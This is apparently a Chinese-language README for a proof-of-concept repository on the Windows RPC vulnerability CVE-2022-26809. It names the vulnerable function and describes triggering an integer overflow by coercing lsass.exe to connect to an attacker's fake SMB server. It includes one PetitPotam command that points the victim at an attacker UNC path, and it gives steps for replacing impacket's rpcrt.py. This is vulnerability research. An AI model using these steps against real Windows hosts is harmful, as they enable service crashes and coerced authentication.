本仓库仅简单研究该 CVE,更详细的分析请参考此处。
更新:2022年5月19日
该分析尚未完成……
更新:2022年5月22日
HuanGMz 的文章和 corelight 博客揭示了真正的漏洞点:
OSF_CASSOCIATION::ProcessBindAckOrNak
该漏洞的触发方式与 CVE-2021-43893 类似:当向 lsass.exe 发送带有 UNC 路径的 ESFRPC 请求时,受害者会尝试作为客户端访问目标,从而在客户端 API 处触发整数溢出。
如果你有更好的方法来触发此漏洞,欢迎提交 issue 或 pr :)
由于该漏洞的触发方式与 CVE-2021-43893 类似,只需克隆 PetitPotam 的代码即可。
只需准备与下图所示相同的环境:
fake_smb_server.py,并用原始版本替换 rpcrt.py(**因为 Windows 上 445 端口已被 System 占用,建议在 Linux 上部署服务 **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe 启用页面堆(不过我尚未成功触发 BSoD,但根据 windbg,整数溢出已被触发)旧描述
以下是 Windows RPC 漏洞 CVE-2022-26809 的复现代码,参考自 https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello。
我的 Python 版本是 3.6.7
不确定 GetCoalescedBuffer 是否涉及真正的 CVE-2022-26809,先保留
poc.py 只是尝试触发漏洞函数 OSF_SCALL::GetCoalescedBuffer,不会导致任何崩溃,因为 dword 整数溢出很难复现。而 rpcrt.py 是 Python 包 impacket.dcerpc.v5.rpcrt,只需用原始版本替换它即可触发漏洞(请记得备份原始版本 :) 我相信 rpcrt.py 有很多 bug)。
如果不起作用,也许 wireshark 可以帮助定位 bug。
如有必要,只需使用 nmake 重新构建即可。